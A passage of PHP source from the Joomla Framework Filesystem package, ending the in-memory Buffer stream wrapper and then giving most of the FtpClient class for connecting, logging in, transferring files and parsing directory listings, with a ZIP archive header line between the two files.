$ret = substr($this->buffers[$this->name], $this->position,
$count);
$this->position += \strlen($ret);
return $ret;
}
/**
* Write stream
*
* @param string $data The data to write to the stream.
*
* @return integer
*
* @see streamWrapper::stream_write
* @since 1.0
*/
public function stream_write($data)
{
$left = substr($this->buffers[$this->name],
0, $this->position);
$right = substr($this->buffers[$this->name],
$this->position + \strlen($data));
$this->buffers[$this->name] = $left . $data . $right;
$this->position += \strlen($data);
return \strlen($data);
}
/**
* Function to get the current position of the stream
*
* @return integer
*
* @see streamWrapper::stream_tell
* @since 1.0
*/
public function stream_tell()
{
return $this->position;
}
/**
* Function to test for end of file pointer
*
* @return boolean True if the pointer is at the end of the stream
*
* @see streamWrapper::stream_eof
* @since 1.0
*/
public function stream_eof()
{
return $this->position >=
\strlen($this->buffers[$this->name]);
}
/**
* The read write position updates in response to $offset and $whence
*
* @param integer $offset The offset in bytes
* @param integer $whence Position the offset is added to
* Options are SEEK_SET, SEEK_CUR, and SEEK_END
*
* @return boolean True if updated
*
* @see streamWrapper::stream_seek
* @since 1.0
*/
public function stream_seek($offset, $whence)
{
switch ($whence)
{
case \SEEK_SET:
if ($offset < \strlen($this->buffers[$this->name]) &&
$offset >= 0)
{
$this->position = $offset;
return true;
}
return false;
case \SEEK_CUR:
if ($offset >= 0)
{
$this->position += $offset;
return true;
}
return false;
case \SEEK_END:
if (\strlen($this->buffers[$this->name]) + $offset >= 0)
{
$this->position = \strlen($this->buffers[$this->name]) +
$offset;
return true;
}
return false;
default:
return false;
}
}
}
// Register the stream
stream_wrapper_register('buffer',
'Joomla\\Filesystem\\Buffer');
PKą�[�&�Ec�c�$filesystem/src/Clients/FtpClient.phpnu�[���<?php
/**
* Part of the Joomla Framework Filesystem Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Filesystem\Clients;
use Joomla\Filesystem\Exception\FilesystemException;
/*
* Error Codes:
* - 30 : Unable to connect to host
* - 31 : Not connected
* - 32 : Unable to send command to server
* - 33 : Bad username
* - 34 : Bad password
* - 35 : Bad response
* - 36 : Passive mode failed
* - 37 : Data transfer error
* - 38 : Local filesystem error
*/
if (!\defined('CRLF'))
{
\define('CRLF', "\r\n");
}
if (!\defined('FTP_AUTOASCII'))
{
\define('FTP_AUTOASCII', -1);
}
if (!\defined('FTP_BINARY'))
{
\define('FTP_BINARY', 1);
}
if (!\defined('FTP_ASCII'))
{
\define('FTP_ASCII', 0);
}
if (!\defined('FTP_NATIVE'))
{
\define('FTP_NATIVE',
(\function_exists('ftp_connect')) ? 1 : 0);
}
/**
* FTP client class
*
* @since 1.0
*/
class FtpClient
{
/**
* Socket resource
*
* @var resource
* @since 1.0
*/
private $conn;
/**
* Data port connection resource
*
* @var resource
* @since 1.0
*/
private $dataconn;
/**
* Passive connection information
*
* @var array
* @since 1.0
*/
private $pasv;
/**
* Response Message
*
* @var string
* @since 1.0
*/
private $response;
/**
* Response Code
*
* @var integer
* @since 1.0
*/
private $responseCode;
/**
* Response Message
*
* @var string
* @since 1.0
*/
private $responseMsg;
/**
* Timeout limit
*
* @var integer
* @since 1.0
*/
private $timeout = 15;
/**
* Transfer Type
*
* @var integer
* @since 1.0
*/
private $type;
/**
* Array to hold ascii format file extensions
*
* @var array
* @since 1.0
*/
private $autoAscii = array(
'asp',
'bat',
'c',
'cpp',
'csv',
'h',
'htm',
'html',
'shtml',
'ini',
'inc',
'log',
'php',
'php3',
'pl',
'perl',
'sh',
'sql',
'txt',
'xhtml',
'xml',
);
/**
* Array to hold native line ending characters
*
* @var array
* @since 1.0
*/
private $lineEndings = array('UNIX' => "\n",
'WIN' => "\r\n");
/**
* FtpClient instances container.
*
* @var FtpClient[]
* @since 1.0
*/
protected static $instances = array();
/**
* FtpClient object constructor
*
* @param array $options Associative array of options to set
*
* @since 1.0
*/
public function __construct(array $options = array())
{
// If default transfer type is not set, set it to autoascii detect
if (!isset($options['type']))
{
$options['type'] = \FTP_BINARY;
}
$this->setOptions($options);
if (FTP_NATIVE)
{
// Autoloading fails for Buffer as the class is used as a stream handler
class_exists('Joomla\\Filesystem\\Buffer');
}
}
/**
* FtpClient object destructor
*
* Closes an existing connection, if we have one
*
* @since 1.0
*/
public function __destruct()
{
if (\is_resource($this->conn))
{
$this->quit();
}
}
/**
* Returns the global FTP connector object, only creating it
* if it doesn't already exist.
*
* You may optionally specify a username and password in the parameters.
If you do so,
* you may not login() again with different credentials using the same
object.
* If you do not use this option, you must quit() the current connection
when you
* are done, to free it for use by others.
*
* @param string $host Host to connect to
* @param string $port Port to connect to
* @param array $options Array with any of these options:
type=>[FTP_AUTOASCII|FTP_ASCII|FTP_BINARY], timeout=>(int)
* @param string $user Username to use for a connection
* @param string $pass Password to use for a connection
*
* @return FtpClient The FTP Client object.
*
* @since 1.0
*/
public static function getInstance($host = '127.0.0.1', $port =
'21', array $options = array(), $user = null, $pass = null)
{
$signature = $user . ':' . $pass . '@' . $host .
':' . $port;
// Create a new instance, or set the options of an existing one
if (!isset(self::$instances[$signature]) ||
!\is_object(self::$instances[$signature]))
{
self::$instances[$signature] = new static($options);
}
else
{
self::$instances[$signature]->setOptions($options);
}
// Connect to the server, and login, if requested
if (!self::$instances[$signature]->isConnected())
{
$return = self::$instances[$signature]->connect($host, $port);
if ($return && $user !== null && $pass !== null)
{
self::$instances[$signature]->login($user, $pass);
}
}
return self::$instances[$signature];
}
/**
* Set client options
*
* @param array $options Associative array of options to set
*
* @return boolean True if successful
*
* @since 1.0
*/
public function setOptions(array $options)
{
if (isset($options['type']))
{
$this->type = $options['type'];
}
if (isset($options['timeout']))
{
$this->timeout = $options['timeout'];
}
return true;
}
/**
* Method to connect to a FTP server
*
* @param string $host Host to connect to [Default: 127.0.0.1]
* @param integer $port Port to connect on [Default: port 21]
*
* @return boolean True if successful
*
* @since 1.0
* @throws FilesystemException
*/
public function connect($host = '127.0.0.1', $port = 21)
{
$errno = null;
$err = null;
// If already connected, return
if (\is_resource($this->conn))
{
return true;
}
// If native FTP support is enabled let's use it...
if (FTP_NATIVE)
{
$this->conn = @ftp_connect($host, $port, $this->timeout);
if ($this->conn === false)
{
throw new FilesystemException(sprintf('%1$s: Could not connect to
host " %2$s " on port " %3$s "', __METHOD__,
$host, $port));
}
// Set the timeout for this connection
ftp_set_option($this->conn, \FTP_TIMEOUT_SEC, $this->timeout);
return true;
}
// Connect to the FTP server.
$this->conn = @ fsockopen($host, $port, $errno, $err,
$this->timeout);
if (!$this->conn)
{
throw new FilesystemException(
sprintf(
'%1$s: Could not connect to host " %2$s " on port
" %3$s ". Socket error number: %4$s and error message:
%5$s',
__METHOD__,
$host,
$port,
$errno,
$err
)
);
}
// Set the timeout for this connection
socket_set_timeout($this->conn, $this->timeout, 0);
// Check for welcome response code
if (!$this->_verifyResponse(220))
{
throw new FilesystemException(sprintf('%1$s: Bad response. Server
response: %2$s [Expected: 220]', __METHOD__, $this->response));
}
return true;
}
/**
* Method to determine if the object is connected to an FTP server
*
* @return boolean True if connected
*
* @since 1.0
*/
public function isConnected()
{
return \is_resource($this->conn);
}
/**
* Method to login to a server once connected
*
* @param string $user Username to login to the server
* @param string $pass Password to login to the server
*
* @return boolean True if successful
*
* @since 1.0
* @throws FilesystemException
*/
public function login($user = 'anonymous', $pass =
'jftp@joomla.org')
{
// If native FTP support is enabled let's use it...
if (FTP_NATIVE)
{
if (@ftp_login($this->conn, $user, $pass) === false)
{
throw new FilesystemException(__METHOD__ . ': Unable to
login');
}
return true;
}
// Send the username
if (!$this->_putCmd('USER ' . $user, array(331, 503)))
{
throw new FilesystemException(
sprintf('%1$s: Bad Username. Server response: %2$s [Expected:
331]. Username sent: %3$s', __METHOD__, $this->response, $user)
);
}
// If we are already logged in, continue :)
if ($this->responseCode == 503)
{
return true;
}
// Send the password
if (!$this->_putCmd('PASS ' . $pass, 230))
{
throw new FilesystemException(sprintf('%1$s: Bad Password. Server
response: %2$s [Expected: 230].', __METHOD__, $this->response));
}
return true;
}
/**
* Method to quit and close the connection
*
* @return boolean True if successful
*
* @since 1.0
*/
public function quit()
{
// If native FTP support is enabled lets use it...
if (FTP_NATIVE)
{
@ftp_close($this->conn);
return true;
}
// Logout and close connection
@fwrite($this->conn, "QUIT\r\n");
@fclose($this->conn);
return true;
}
/**
* Method to retrieve the current working directory on the FTP server
*
* @return string Current working directory
*
* @since 1.0
* @throws FilesystemException
*/
public function pwd()
{
// If native FTP support is enabled let's use it...
if (FTP_NATIVE)
{
if (($ret = @ftp_pwd($this->conn)) === false)
{
throw new FilesystemException(__METHOD__ . 'Bad response.');
}
return $ret;
}
$match = array(null);
// Send print working directory command and verify success
if (!$this->_putCmd('PWD', 257))
{
throw new FilesystemException(sprintf('%1$s: Bad response. Server
response: %2$s [Expected: 257]', __METHOD__, $this->response));
}
// Match just the path
preg_match('/"[^"\r\n]*"/', $this->response,
$match);
// Return the cleaned path
return preg_replace('/"/', '', $match[0]);
}
/**
* Method to system string from the FTP server
*
* @return string System identifier string
*
* @since 1.0
* @throws FilesystemException
*/
public function syst()
{
// If native FTP support is enabled lets use it...
if (FTP_NATIVE)
{
if (($ret = @ftp_systype($this->conn)) === false)
{
throw new FilesystemException(__METHOD__ . 'Bad response.');
}
}
else
{
// Send print working directory command and verify success
if (!$this->_putCmd('SYST', 215))
{
throw new FilesystemException(sprintf('%1$s: Bad response. Server
response: %2$s [Expected: 215]', __METHOD__, $this->response));
}
$ret = $this->response;
}
// Match the system string to an OS
if (strpos(strtoupper($ret), 'MAC') !== false)
{
$ret = 'MAC';
}
elseif (strpos(strtoupper($ret), 'WIN') !== false)
{
$ret = 'WIN';
}
else
{
$ret = 'UNIX';
}
// Return the os type
return $ret;
}
/**
* Method to change the current working directory on the FTP server
*
* @param string $path Path to change into on the server
*
* @return boolean True if successful
*
* @since 1.0
* @throws FilesystemException
*/
public function chdir($path)
{
// If native FTP support is enabled lets use it...
if (FTP_NATIVE)
{
if (@ftp_chdir($this->conn, $path) === false)
{
throw new FilesystemException(__METHOD__ . 'Bad response.');
}
return true;
}
// Send change directory command and verify success
if (!$this->_putCmd('CWD ' . $path, 250))
{
throw new FilesystemException(
sprintf('%1$s: Bad response. Server response: %2$s [Expected:
250]. Sent path: %3$s', __METHOD__, $this->response, $path)
);
}
return true;
}
/**
* Method to reinitialise the server, ie. need to login again
*
* NOTE: This command not available on all servers
*
* @return boolean True if successful
*
* @since 1.0
* @throws FilesystemException
*/
public function reinit()
{
// If native FTP support is enabled let's use it...
if (FTP_NATIVE)
{
if (@ftp_site($this->conn, 'REIN') === false)
{
throw new FilesystemException(__METHOD__ . 'Bad response.');
}
return true;
}
// Send reinitialise command to the server
if (!$this->_putCmd('REIN', 220))
{
throw new FilesystemException(sprintf('%1$s: Bad response. Server
response: %2$s [Expected: 220]', __METHOD__, $this->response));
}
return true;
}
/**
* Method to rename a file/folder on the FTP server
*
* @param string $from Path to change file/folder from
* @param string $to Path to change file/folder to
*
* @return boolean True if successful
*
* @since 1.0
* @throws FilesystemException
*/
public function rename($from, $to)
{
// If native FTP support is enabled let's use it...
if (FTP_NATIVE)
{
if (@ftp_rename($this->conn, $from, $to) === false)
{
throw new FilesystemException(__METHOD__ . 'Bad response.');
}
return true;
}
// Send rename from command to the server
if (!$this->_putCmd('RNFR ' . $from, 350))
{
throw new FilesystemException(
sprintf('%1$s: Bad response. Server response: %2$s [Expected:
350]. From path sent: %3$s', __METHOD__, $this->response, $from)
);
}
// Send rename to command to the server
if (!$this->_putCmd('RNTO ' . $to, 250))
{
throw new FilesystemException(
sprintf('%1$s: Bad response. Server response: %2$s [Expected:
250]. To path sent: %3$s', __METHOD__, $this->response, $to)
);
}
return true;
}
/**
* Method to change mode for a path on the FTP server
*
* @param string $path Path to change mode on
* @param mixed $mode Octal value to change mode to, e.g.
'0777', 0777 or 511 (string or integer)
*
* @return boolean True if successful
*
* @since 1.0
* @throws FilesystemException
*/
public function chmod($path, $mode)
{
// If no filename is given, we assume the current directory is the target
if ($path == '')
{
$path = '.';
}
// Convert the mode to a string
if (\is_int($mode))
{
$mode = decoct($mode);
}
// If native FTP support is enabled let's use it...
if (FTP_NATIVE)
{
if (@ftp_site($this->conn, 'CHMOD ' . $mode . ' '
. $path) === false)
{
if (!\defined('PHP_WINDOWS_VERSION_MAJOR'))
{
throw new FilesystemException(__METHOD__ . 'Bad response.');
}
return false;
}
return true;
}
// Send change mode command and verify success [must convert mode from
octal]
if (!$this->_putCmd('SITE CHMOD ' . $mode . ' ' .
$path, array(200, 250)))
{
if (!\defined('PHP_WINDOWS_VERSION_MAJOR'))
{
throw new FilesystemException(
sprintf(
'%1$s: Bad response. Server response: %2$s [Expected: 250].
Path sent: %3$s. Mode sent: %4$s',
__METHOD__,
$this->response,
$path,
$mode
)
);
}
return false;
}
return true;
}
/**
* Method to delete a path [file/folder] on the FTP server
*
* @param string $path Path to delete
*
* @return boolean True if successful
*
* @since 1.0
* @throws FilesystemException
*/
public function delete($path)
{
// If native FTP support is enabled let's use it...
if (FTP_NATIVE)
{
if (@ftp_delete($this->conn, $path) === false)
{
if (@ftp_rmdir($this->conn, $path) === false)
{
throw new FilesystemException(__METHOD__ . 'Bad response.');
}
}
return true;
}
// Send delete file command and if that doesn't work, try to remove
a directory
if (!$this->_putCmd('DELE ' . $path, 250))
{
if (!$this->_putCmd('RMD ' . $path, 250))
{
throw new FilesystemException(
sprintf('%1$s: Bad response. Server response: %2$s [Expected:
250]. Path sent: %3$s', __METHOD__, $this->response, $path)
);
}
}
return true;
}
/**
* Method to create a directory on the FTP server
*
* @param string $path Directory to create
*
* @return boolean True if successful
*
* @since 1.0
* @throws FilesystemException
*/
public function mkdir($path)
{
// If native FTP support is enabled let's use it...
if (FTP_NATIVE)
{
if (@ftp_mkdir($this->conn, $path) === false)
{
throw new FilesystemException(__METHOD__ . 'Bad response.');
}
return true;
}
// Send change directory command and verify success
if (!$this->_putCmd('MKD ' . $path, 257))
{
throw new FilesystemException(
sprintf('%1$s: Bad response. Server response: %2$s [Expected:
257]. Path sent: %3$s', __METHOD__, $this->response, $path)
);
}
return true;
}
/**
* Method to restart data transfer at a given byte
*
* @param integer $point Byte to restart transfer at
*
* @return boolean True if successful
*
* @since 1.0
* @throws FilesystemException
*/
public function restart($point)
{
// If native FTP support is enabled let's use it...
if (FTP_NATIVE)
{
if (@ftp_site($this->conn, 'REST ' . $point) === false)
{
throw new FilesystemException(__METHOD__ . 'Bad response.');
}
return true;
}
// Send restart command and verify success
if (!$this->_putCmd('REST ' . $point, 350))
{
throw new FilesystemException(
sprintf(
'%1$s: Bad response. Server response: %2$s [Expected: 350].
Restart point sent: %3$s', __METHOD__, $this->response, $point
)
);
}
return true;
}
/**
* Method to create an empty file on the FTP server
*
* @param string $path Path local file to store on the FTP server
*
* @return boolean True if successful
*
* @since 1.0
* @throws FilesystemException
*/
public function create($path)
{
// If native FTP support is enabled let's use it...
if (FTP_NATIVE)
{
// Turn passive mode on
if (@ftp_pasv($this->conn, true) === false)
{
throw new FilesystemException(__METHOD__ . ': Unable to use
passive mode.');
}
$buffer = fopen('buffer://tmp', 'r');
if (@ftp_fput($this->conn, $path, $buffer, \FTP_ASCII) === false)
{
fclose($buffer);
throw new FilesystemException(__METHOD__ . 'Bad response.');
}
fclose($buffer);
return true;
}
// Start passive mode
if (!$this->_passive())
{
throw new FilesystemException(__METHOD__ . ': Unable to use passive
mode.');
}
if (!$this->_putCmd('STOR ' . $path, array(150, 125)))
{
@ fclose($this->dataconn);
throw new FilesystemException(
sprintf('%1$s: Bad response. Server response: %2$s [Expected: 150
or 125]. Path sent: %3$s', __METHOD__, $this->response, $path)
);
}
// To create a zero byte upload close the data port connection
fclose($this->dataconn);
if (!$this->_verifyResponse(226))
{
throw new FilesystemException(
sprintf('%1$s: Transfer failed. Server response: %2$s [Expected:
226]. Path sent: %3$s', __METHOD__, $this->response, $path)
);
}
return true;
}
/**
* Method to read a file from the FTP server's contents into a buffer
*
* @param string $remote Path to remote file to read on the FTP server
* @param string $buffer Buffer variable to read file contents into
*
* @return boolean True if successful
*
* @since 1.0
* @throws FilesystemException
*/
public function read($remote, &$buffer)
{
// Determine file type
$mode = $this->_findMode($remote);
// If native FTP support is enabled let's use it...
if (FTP_NATIVE)
{
// Turn passive mode on
if (@ftp_pasv($this->conn, true) === false)
{
throw new FilesystemException(__METHOD__ . ': Unable to use
passive mode.');
}
$tmp = fopen('buffer://tmp', 'br+');
if (@ftp_fget($this->conn, $tmp, $remote, $mode) === false)
{
fclose($tmp);
throw new FilesystemException(__METHOD__ . 'Bad response.');
}
// Read tmp buffer contents
rewind($tmp);
$buffer = '';
while (!feof($tmp))
{
$buffer .= fread($tmp, 8192);
}
fclose($tmp);
return true;
}
$this->_mode($mode);
// Start passive mode
if (!$this->_passive())
{
throw new FilesystemException(__METHOD__ . ': Unable to use passive
mode.');
}
if (!$this->_putCmd('RETR ' . $remote, array(150, 125)))
{
@ fclose($this->dataconn);
throw new FilesystemException(
sprintf('%1$s: Bad response. Server response: %2$s [Expected: 150
or 125]. Path sent: %3$s', __METHOD__, $this->response, $remote)
);
}
// Read data from data port connection and add to the buffer
$buffer = '';
while (!feof($this->dataconn))
{
$buffer .= fread($this->dataconn, 4096);
}
// Close the data port connection
fclose($this->dataconn);
// Let's try to cleanup some line endings if it is ascii
if ($mode == \FTP_ASCII)
{
$os = 'UNIX';
if (\defined('PHP_WINDOWS_VERSION_MAJOR'))
{
$os = 'WIN';
}
$buffer = preg_replace('/' . CRLF . '/',
$this->lineEndings[$os], $buffer);
}
if (!$this->_verifyResponse(226))
{
throw new FilesystemException(
sprintf(
'%1$s: Transfer failed. Server response: %2$s [Expected: 226].
Restart point sent: %3$s',
__METHOD__, $this->response, $remote
)
);
}
return true;
}
/**
* Method to get a file from the FTP server and save it to a local file
*
* @param string $local Local path to save remote file to
* @param string $remote Path to remote file to get on the FTP server
*
* @return boolean True if successful
*
* @since 1.0
* @throws FilesystemException
*/
public function get($local, $remote)
{
// Determine file type
$mode = $this->_findMode($remote);
// If native FTP support is enabled let's use it...
if (FTP_NATIVE)
{
// Turn passive mode on
if (@ftp_pasv($this->conn, true) === false)
{
throw new FilesystemException(__METHOD__ . ': Unable to use
passive mode.');
}
if (@ftp_get($this->conn, $local, $remote, $mode) === false)
{
throw new FilesystemException(__METHOD__ . 'Bad response.');
}
return true;
}
$this->_mode($mode);
// Check to see if the local file can be opened for writing
$fp = fopen($local, 'wb');
if (!$fp)
{
throw new FilesystemException(sprintf('%1$s: Unable to open local
file for writing. Local path: %2$s', __METHOD__, $local));
}
// Start passive mode
if (!$this->_passive())
{
throw new FilesystemException(__METHOD__ . ': Unable to use passive
mode.');
}
if (!$this->_putCmd('RETR ' . $remote, array(150, 125)))
{
@ fclose($this->dataconn);
throw new FilesystemException(
sprintf('%1$s: Bad response. Server response: %2$s [Expected: 150
or 125]. Path sent: %3$s', __METHOD__, $this->response, $remote)
);
}
// Read data from data port connection and add to the buffer
while (!feof($this->dataconn))
{
$buffer = fread($this->dataconn, 4096);
fwrite($fp, $buffer, 4096);
}
// Close the data port connection and file pointer
fclose($this->dataconn);
fclose($fp);
if (!$this->_verifyResponse(226))
{
throw new FilesystemException(
sprintf('%1$s: Transfer failed. Server response: %2$s [Expected:
226]. Path sent: %3$s', __METHOD__, $this->response, $remote)
);
}
return true;
}
/**
* Method to store a file to the FTP server
*
* @param string $local Path to local file to store on the FTP server
* @param string $remote FTP path to file to create
*
* @return boolean True if successful
*
* @since 1.0
* @throws FilesystemException
*/
public function store($local, $remote = null)
{
// If remote file is not given, use the filename of the local file in the
current
// working directory.
if ($remote == null)
{
$remote = basename($local);
}
// Determine file type
$mode = $this->_findMode($remote);
// If native FTP support is enabled let's use it...
if (FTP_NATIVE)
{
// Turn passive mode on
if (@ftp_pasv($this->conn, true) === false)
{
throw new FilesystemException(__METHOD__ . ': Unable to use
passive mode.');
}
if (@ftp_put($this->conn, $remote, $local, $mode) === false)
{
throw new FilesystemException(__METHOD__ . 'Bad response.');
}
return true;
}
$this->_mode($mode);
// Check to see if the local file exists and if so open it for reading
if (@ file_exists($local))
{
$fp = fopen($local, 'rb');
if (!$fp)
{
throw new FilesystemException(sprintf('%1$s: Unable to open local
file for reading. Local path: %2$s', __METHOD__, $local));
}
}
else
{
throw new FilesystemException(sprintf('%1$s: Unable to find local
file. Local path: %2$s', __METHOD__, $local));
}
// Start passive mode
if (!$this->_passive())
{
@ fclose($fp);
throw new FilesystemException(__METHOD__ . ': Unable to use passive
mode.');
}
// Send store command to the FTP server
if (!$this->_putCmd('STOR ' . $remote, array(150, 125)))
{
@ fclose($fp);
@ fclose($this->dataconn);
throw new FilesystemException(
sprintf('%1$s: Bad response. Server response: %2$s [Expected: 150
or 125]. Path sent: %3$s', __METHOD__, $this->response, $remote)
);
}
// Do actual file transfer, read local file and write to data port
connection
while (!feof($fp))
{
$line = fread($fp, 4096);
do
{
if (($result = @ fwrite($this->dataconn, $line)) === false)
{
throw new FilesystemException(__METHOD__ . ': Unable to write to
data port socket');
}
$line = substr($line, $result);
}
while ($line != '');
}
fclose($fp);
fclose($this->dataconn);
if (!$this->_verifyResponse(226))
{
throw new FilesystemException(
sprintf('%1$s: Transfer failed. Server response: %2$s [Expected:
226]. Path sent: %3$s', __METHOD__, $this->response, $remote)
);
}
return true;
}
/**
* Method to write a string to the FTP server
*
* @param string $remote FTP path to file to write to
* @param string $buffer Contents to write to the FTP server
*
* @return boolean True if successful
*
* @since 1.0
* @throws FilesystemException
*/
public function write($remote, $buffer)
{
// Determine file type
$mode = $this->_findMode($remote);
// If native FTP support is enabled let's use it...
if (FTP_NATIVE)
{
// Turn passive mode on
if (@ftp_pasv($this->conn, true) === false)
{
throw new FilesystemException(__METHOD__ . ': Unable to use
passive mode.');
}
$tmp = fopen('buffer://tmp', 'br+');
fwrite($tmp, $buffer);
rewind($tmp);
if (@ftp_fput($this->conn, $remote, $tmp, $mode) === false)
{
fclose($tmp);
throw new FilesystemException(__METHOD__ . 'Bad response.');
}
fclose($tmp);
return true;
}
// First we need to set the transfer mode
$this->_mode($mode);
// Start passive mode
if (!$this->_passive())
{
throw new FilesystemException(__METHOD__ . ': Unable to use passive
mode.');
}
// Send store command to the FTP server
if (!$this->_putCmd('STOR ' . $remote, array(150, 125)))
{
@ fclose($this->dataconn);
throw new FilesystemException(
sprintf('%1$s: Bad response. Server response: %2$s [Expected: 150
or 125]. Path sent: %3$s', __METHOD__, $this->response, $remote)
);
}
// Write buffer to the data connection port
do
{
if (($result = @ fwrite($this->dataconn, $buffer)) === false)
{
throw new FilesystemException(__METHOD__ . ': Unable to write to
data port socket.');
}
$buffer = substr($buffer, $result);
}
while ($buffer != '');
// Close the data connection port [Data transfer complete]
fclose($this->dataconn);
// Verify that the server recieved the transfer
if (!$this->_verifyResponse(226))
{
throw new FilesystemException(
sprintf('%1$s: Transfer failed. Server response: %2$s [Expected:
226]. Path sent: %3$s', __METHOD__, $this->response, $remote)
);
}
return true;
}
/**
* Method to list the filenames of the contents of a directory on the FTP
server
*
* Note: Some servers also return folder names. However, to be sure to
list folders on all
* servers, you should use listDetails() instead if you also need to deal
with folders
*
* @param string $path Path local file to store on the FTP server
*
* @return string Directory listing
*
* @since 1.0
* @throws FilesystemException
*/
public function listNames($path = null)
{
$data = null;
// If native FTP support is enabled let's use it...
if (FTP_NATIVE)
{
// Turn passive mode on
if (@ftp_pasv($this->conn, true) === false)
{
throw new FilesystemException(__METHOD__ . ': Unable to use
passive mode.');
}
if (($list = @ftp_nlist($this->conn, $path)) === false)
{
// Workaround for empty directories on some servers
if ($this->listDetails($path, 'files') === array())
{
return array();
}
throw new FilesystemException(__METHOD__ . 'Bad response.');
}
$list = preg_replace('#^' . preg_quote($path, '#') .
'[/\\\\]?#', '', $list);
if ($keys = array_merge(array_keys($list, '.'),
array_keys($list, '..')))
{
foreach ($keys as $key)
{
unset($list[$key]);
}
}
return $list;
}
// If a path exists, prepend a space
if ($path != null)
{
$path = ' ' . $path;
}
// Start passive mode
if (!$this->_passive())
{
throw new FilesystemException(__METHOD__ . ': Unable to use passive
mode.');
}
if (!$this->_putCmd('NLST' . $path, array(150, 125)))
{
@ fclose($this->dataconn);
// Workaround for empty directories on some servers
if ($this->listDetails($path, 'files') === array())
{
return array();
}
throw new FilesystemException(
sprintf('%1$s: Bad response. Server response: %2$s [Expected: 150
or 125]. Path sent: %3$s', __METHOD__, $this->response, $path)
);
}
// Read in the file listing.
while (!feof($this->dataconn))
{
$data .= fread($this->dataconn, 4096);
}
fclose($this->dataconn);
// Everything go okay?
if (!$this->_verifyResponse(226))
{
throw new FilesystemException(
sprintf('%1$s: Transfer failed. Server response: %2$s [Expected:
226]. Path sent: %3$s', __METHOD__, $this->response, $path)
);
}
$data = preg_split('/[' . CRLF . ']+/', $data, -1,
\PREG_SPLIT_NO_EMPTY);
$data = preg_replace('#^' . preg_quote(substr($path, 1),
'#') . '[/\\\\]?#', '', $data);
if ($keys = array_merge(array_keys($data, '.'),
array_keys($data, '..')))
{
foreach ($keys as $key)
{
unset($data[$key]);
}
}
return $data;
}
/**
* Method to list the contents of a directory on the FTP server
*
* @param string $path Path to the local file to be stored on the FTP
server
* @param string $type Return type [raw|all|folders|files]
*
* @return string[] If $type is raw: string Directory listing, otherwise
array of string with file-names
*
* @since 1.0
* @throws FilesystemException
*/
public function listDetails($path = null, $type = 'all')
{
$dirList = array();
$data = null;
$regs = null;
// TODO: Deal with recurse -- nightmare
// For now we will just set it to false
$recurse = false;
// If native FTP support is enabled let's use it...
if (FTP_NATIVE)
{
// Turn passive mode on
if (@ftp_pasv($this->conn, true) === false)
{
throw new FilesystemException(__METHOD__ . ': Unable to use
passive mode.');
}
if (($contents = @ftp_rawlist($this->conn, $path)) === false)
{
throw new FilesystemException(__METHOD__ . 'Bad response.');
}
}
else
{
// Non Native mode
// Start passive mode
if (!$this->_passive())
{
throw new FilesystemException(__METHOD__ . ': Unable to use
passive mode.');
}
// If a path exists, prepend a space
if ($path != null)
{
$path = ' ' . $path;
}
// Request the file listing
if (!$this->_putCmd(($recurse == true) ? 'LIST -R' :
'LIST' . $path, array(150, 125)))
{
@ fclose($this->dataconn);
throw new FilesystemException(
sprintf(
'%1$s: Bad response. Server response: %2$s [Expected: 150 or
125]. Path sent: %3$s',
__METHOD__, $this->response, $path
)
);
}
// Read in the file listing.
while (!feof($this->dataconn))
{
$data .= fread($this->dataconn, 4096);
}
fclose($this->dataconn);
// Everything go okay?
if (!$this->_verifyResponse(226))
{
throw new FilesystemException(
sprintf('%1$s: Transfer failed. Server response: %2$s [Expected:
226]. Path sent: %3$s', __METHOD__, $this->response, $path)
);
}
$contents = explode(CRLF, $data);
}
// If only raw output is requested we are done
if ($type == 'raw')
{
return $data;
}
// If we received the listing of an empty directory, we are done as well
if (empty($contents[0]))
{
return $dirList;
}
// If the server returned the number of results in the first response,
let's dump it
if (strtolower(substr($contents[0], 0, 6)) == 'total ')
{
array_shift($contents);
if (!isset($contents[0]) || empty($contents[0]))
{
return $dirList;
}
}
// Regular expressions for the directory listing parsing.
$regexps = array(
'UNIX' => '#([-dl][rwxstST-]+).* ([0-9]*)
([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*)'
. ' ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{1,2}:[0-9]{2})|[0-9]{4})
(.+)#',
'MAC' => '#([-dl][rwxstST-]+).* ?([0-9
]*)?([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*)'
. ' ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4})
(.+)#',
'WIN' => '#([0-9]{2})-([0-9]{2})-([0-9]{2})
+([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|<DIR>) +(.+)#',
);
// Find out the format of the directory listing by matching one of the
regexps
$osType = null;
foreach ($regexps as $k => $v)
{
if (@preg_match($v, $contents[0]))
{
$osType = $k;
$regexp = $v;
break;
}
}
if (!$osType)
{
throw new FilesystemException(__METHOD__ . ': Unrecognised
directory listing format.');
}
/*
* Here is where it is going to get dirty....
*/
if ($osType == 'UNIX' || $osType == 'MAC')
{
foreach ($contents as $file)
{
$tmpArray = null;
if (@preg_match($regexp, $file, $regs))
{
$fType = (int) strpos('-dl', $regs[1][0]);
// $tmpArray['line'] = $regs[0];
$tmpArray['type'] = $fType;
$tmpArray['rights'] = $regs[1];
// $tmpArray['number'] = $regs[2];
$tmpArray['user'] = $regs[3];
$tmpArray['group'] = $regs[4];
$tmpArray['size'] = $regs[5];
$tmpArray['date'] = @date('m-d',
strtotime($regs[6]));
$tmpArray['time'] = $regs[7];
$tmpArray['name'] = $regs[9];
}
// If we just want files, do not add a folder
if ($type == 'files' && $tmpArray['type']
== 1)
{
continue;
}
// If we just want folders, do not add a file
if ($type == 'folders' && $tmpArray['type']
== 0)
{
continue;
}
if (\is_array($tmpArray) && $tmpArray['name'] !=
'.' && $tmpArray['name'] != '..')
{
$dirList[] = $tmpArray;
}
}
}
else
{
foreach ($contents as $file)
{
$tmpArray = null;
if (@preg_match($regexp, $file, $regs))
{
$fType = (int) ($regs[7] == '<DIR>');
$timestamp = strtotime("$regs[3]-$regs[1]-$regs[2]
$regs[4]:$regs[5]$regs[6]");
// $tmpArray['line'] = $regs[0];
$tmpArray['type'] = $fType;
$tmpArray['rights'] = '';
// $tmpArray['number'] = 0;
$tmpArray['user'] = '';
$tmpArray['group'] = '';
$tmpArray['size'] = (int) $regs[7];
$tmpArray['date'] = date('m-d', $timestamp);
